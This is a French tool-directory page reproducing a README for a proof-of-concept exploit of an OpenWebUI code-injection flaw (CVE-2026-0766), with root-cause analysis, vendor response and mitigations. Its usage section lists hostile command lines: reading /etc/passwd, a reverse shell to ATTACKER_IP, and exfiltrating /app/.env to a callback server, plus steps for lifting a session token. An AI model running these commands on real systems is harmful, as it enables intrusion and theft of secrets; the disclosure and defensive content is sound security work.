Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-0766 — Preuve de concept d'exploitation pour CVE-2026-0766, une vulnérabilité d'exécution de code à distance dans OpenWebUI via l'injection de code d'outil. Inclut des modes d'exécution de commandes, de lecture de fichiers, de shell inversé et d'exfiltration aveugle. | Kitploit
Outils/GitHubGitHub/bitt0n/cve-2026-0766
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

Preuve de concept d'exploitation pour CVE-2026-0766, une vulnérabilité d'exécution de code à distance dans OpenWebUI via l'injection de code d'outil. Inclut des modes d'exécution de commandes, de lecture de fichiers, de shell inversé et d'exfiltration aveugle.

Voir le dépôt
4il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-0766 : Exécution de code à distance dans OpenWebUI

Dépôt de recherche en sécurité à but éducatif

Ce dépôt contient un code de preuve de concept (PoC) pour l'exploitation de CVE-2026-0766, une vulnérabilité d'exécution de code à distance dans OpenWebUI, découverte et publiée par la Zero Day Initiative (ZDI).


⚠️ Avertissement

Ce dépôt est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives.

  • Utilisez ce code pour tester vos propres systèmes ou des systèmes pour lesquels vous disposez d'une autorisation explicite
  • Utilisez-le pour apprendre les vulnérabilités de sécurité des plateformes LLM
  • ❌ Ne jamais l'utiliser contre des systèmes sans autorisation explicite
  • ❌ L'accès non autorisé à des systèmes informatiques est illégal

L'auteur décline toute responsabilité en cas d'utilisation abusive de ce code. Les utilisateurs sont seuls responsables de veiller à ce que leurs activités soient conformes à toutes les lois et réglementations applicables.


📋 Présentation de la vulnérabilité

PropriétéValeur
Identifiant CVECVE-2026-0766
Découverte parZero Day Initiative (ZDI)
Logiciel concernéOpenWebUI
Type de vulnérabilitéInjection de code (CWE-94)
Score CVSS8.8 ÉLEVÉ
Vecteur CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Complexité d'attaqueFaible (un administrateur authentifié ou un utilisateur disposant de la création/mise à jour d'outils peut exploiter)

Qu'est-ce qu'OpenWebUI ?

OpenWebUI est une interface web auto-hébergée pour les grands modèles de langage (LLM). Elle offre une expérience de type ChatGPT que les organisations peuvent exécuter sur leur propre infrastructure, en conservant les conversations et les données des LLM sur site.

La vulnérabilité

OpenWebUI inclut une fonctionnalité « Outils » (Tools) qui permet aux utilisateurs d'étendre les capacités des LLM en soumettant du code Python. Ce code est exécuté côté serveur via la fonction exec() de Python sans aucun sandbox, validation ou contrôle de sécurité.

Déroulement de l'exploitation :

  1. Un utilisateur authentifié crée un « Outil » via POST /api/v1/tools/create
  2. Le code Python fourni par l'utilisateur est stocké dans le champ content
  3. Le serveur appelle exec(content, module.__dict__) dans utils/plugin.py
  4. Le code Python arbitraire s'exécute avec tous les privilèges du serveur
  5. L'attaquant obtient une exécution de code à distance (RCE)

Point clé : Le code s'exécute au moment de la création de l'outil, et non lorsque le LLM invoque l'outil. Cela signifie que la simple création d'un outil malveillant déclenche la RCE — aucune interaction supplémentaire n'est nécessaire.

Versions testées

Cette exploitation a été vérifiée sur :

  • OpenWebUI v0.8.10 - Vulnérable ✅ (testé le 28/03/2026)

La vulnérabilité est d'ordre architectural (utilisation non sécurisée de exec() sur une entrée utilisateur) et existe dans toutes les versions jusqu'à ce qu'un correctif de sécurité soit publié par l'équipe OpenWebUI.


🔍 Détails techniques

Cause racine

La vulnérabilité se trouve dans backend/open_webui/utils/plugin.py :

root@kitploit:~
def load_tool_module_by_id(tool_id: str, content: str):
    # Prétraitement minimal (PAS un contrôle de sécurité)
    content = replace_imports(content)

    # Créer le module et exécuter le code utilisateur
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← VULNÉRABILITÉ

    return module

La fonction replace_imports() ne fait que réécrire les chemins d'importation (cosmétique) — elle ne restreint pas le code pouvant s'exécuter. Il n'y a :

  • ❌ Aucun sandbox (aucun environnement d'exécution restreint)
  • ❌ Aucune validation de code (aucune inspection AST ni liste blanche)
  • ❌ Aucune vérification des permissions (tous les utilisateurs authentifiés peuvent créer des outils par défaut)
  • ❌ Aucune séparation des privilèges (le code s'exécute avec le compte de service OpenWebUI)

Réponse du fournisseur

L'équipe OpenWebUI a initialement évalué cette vulnérabilité comme étant de priorité faible, notant que la création d'outils nécessite des permissions d'administrateur. Cependant :

  1. La délégation de permissions est courante — De nombreux déploiements accordent la création d'outils aux utilisateurs avancés, aux administrateurs d'espace de travail et aux développeurs
  2. Comptes administrateur compromis — Le hameçonnage, le bourrage d'identifiants et la compromission SSO peuvent donner aux attaquants un accès administrateur
  3. Violation de la défense en profondeur — Même les actions d'administrateur devraient être limitées ; l'exécution de code sans restriction brise le principe du moindre privilège
  4. Utilité après compromission — Cette vulnérabilité est précieuse dans les chaînes d'attaque après un accès initial

Après que le fournisseur a proposé que les administrateurs gèrent cela avec un accès restreint, la ZDI a publié cette vulnérabilité en tant que 0-day (ZDI-26-032) pour informer les défenseurs.

L'auteur respecte les défis liés à la maintenance de projets open-source. Le correctif de sécurité nécessite d'équilibrer les besoins des utilisateurs, les contraintes architecturales et les ressources limitées. Cette publication vise à aider les équipes de sécurité à évaluer les risques et à mettre en œuvre des mesures d'atténuation.


🛠️ Preuve de concept

Installation

root@kitploit:~
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

Utilisation

Le script d'exploitation (exploit.py) prend en charge plusieurs modes d'attaque :

1. Exécution de commandes

Exécuter des commandes système et récupérer la sortie :

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. Lecture de fichiers

Lire des fichiers du système de fichiers du serveur :

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. Shell inversé

Lancer un shell inversé (nécessite un écouteur netcat) :

root@kitploit:~
# Sur la machine de l'attaquant :
nc -lvnp 4444

# Exécuter l'exploit :
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. Exfiltration aveugle

Envoyer la sortie de commande à un serveur de rappel HTTP :

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

Authentification

Le script accepte à la fois les jetons JWT (issus de la connexion SSO) et les clés API :

Obtenir un jeton JWT :

  1. Connectez-vous normalement à OpenWebUI (SSO ou authentification locale)
  2. Ouvrez les outils de développement du navigateur (F12)
  3. Trouvez votre jeton :
    • Onglet Cookies : Recherchez la valeur du cookie token
    • Onglet Réseau : Copiez l'en-tête Authorization: Bearer ... de toute requête API
    • Console : Exécutez localStorage.getItem("token")
  4. Transmettez le jeton au script : --token eyJhbGci...

🔐 Mesures d'atténuation

Pour les défenseurs

Si vous exécutez OpenWebUI et ne pouvez pas appliquer immédiatement un correctif :

  1. Restreignez les permissions de création d'outils aux seuls administrateurs hautement fiables
  2. Auditez les outils existants pour détecter tout code malveillant (vérifiez le contenu des outils dans la base de données)
  3. Exécutez OpenWebUI avec des privilèges minimaux (compte de service dédié, système de fichiers en lecture seule si possible)
  4. Mettez en œuvre un filtrage du trafic réseau sortant (le conteneur ne doit pas avoir d'accès sortant arbitraire)
  5. Surveillez la création d'outils suspects (recherchez les outils créés en dehors des flux de travail normaux)

Correctifs recommandés (pour les mainteneurs)

  1. Remplacez exec() par une alternative sûre :

    • Utilisez RestrictedPython pour une exécution en sandbox
    • Analysez l'AST Python et validez par rapport à une liste blanche d'opérations sûres
    • Exécutez le code des outils dans des conteneurs isolés (gVisor, Firecracker)
  2. Ajoutez des vérifications de permissions :

    • Exigez l'approbation d'un administrateur pour les nouveaux outils
    • Mettez en œuvre un contrôle d'accès basé sur les rôles pour la création d'outils
    • Ajoutez un flux de revue de code avant que les outils ne deviennent actifs
  3. Défense en profondeur :

    • Exécutez les outils dans des processus séparés avec filtrage des appels système (seccomp)
    • Limitez l'accès au système de fichiers en lecture seule
    • Supprimez l'accès réseau de l'environnement d'exécution des outils

📚 Références

  • Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-0766
  • Avis ZDI : https://www.zerodayinitiative.com/advisories/ZDI-26-032/
  • Avis de sécurité GitHub : https://github.com/advisories/GHSA-cggw-334c-f4mj
  • CWE-94 (Injection de code) : https://cwe.mitre.org/data/definitions/94.html
  • Injection de code OWASP : https://owasp.org/www-community/attacks/Code_Injection

🙏 Crédits

  • Découverte de la vulnérabilité : Zero Day Initiative (ZDI) - ZDI-26-032 / ZDI-CAN-28257
  • Recherche d'exploitation et développement du PoC : Pradeep Pillai (@bitt0n)

📜 Licence

Licence MIT — Voir le fichier LICENSE pour plus de détails.

Ce code est fourni à des fins éducatives et de sécurité défensive. L'auteur n'est pas responsable d'une mauvaise utilisation.


🤝 Divulgation responsable

Cette vulnérabilité a été divulguée de manière responsable :

  1. La ZDI a découvert et signalé la vulnérabilité à OpenWebUI
  2. Une période de divulgation coordonnée a été accordée au fournisseur pour appliquer un correctif
  3. Le fournisseur a refusé d'appliquer un correctif (risque jugé acceptable)
  4. La ZDI a publié en tant que 0-day pour informer la communauté de la sécurité
  5. Ce PoC a été publié après la divulgation pour aider les défenseurs à évaluer les risques

Si vous découvrez des vulnérabilités de sécurité dans des projets open-source, veuillez suivre les pratiques de divulgation responsable et laisser aux mainteneurs le temps d'appliquer un correctif avant toute divulgation publique.


Pour toute question ou retour : Ouvrez un problème (issue) dans ce dépôt.

Télécharger l’outil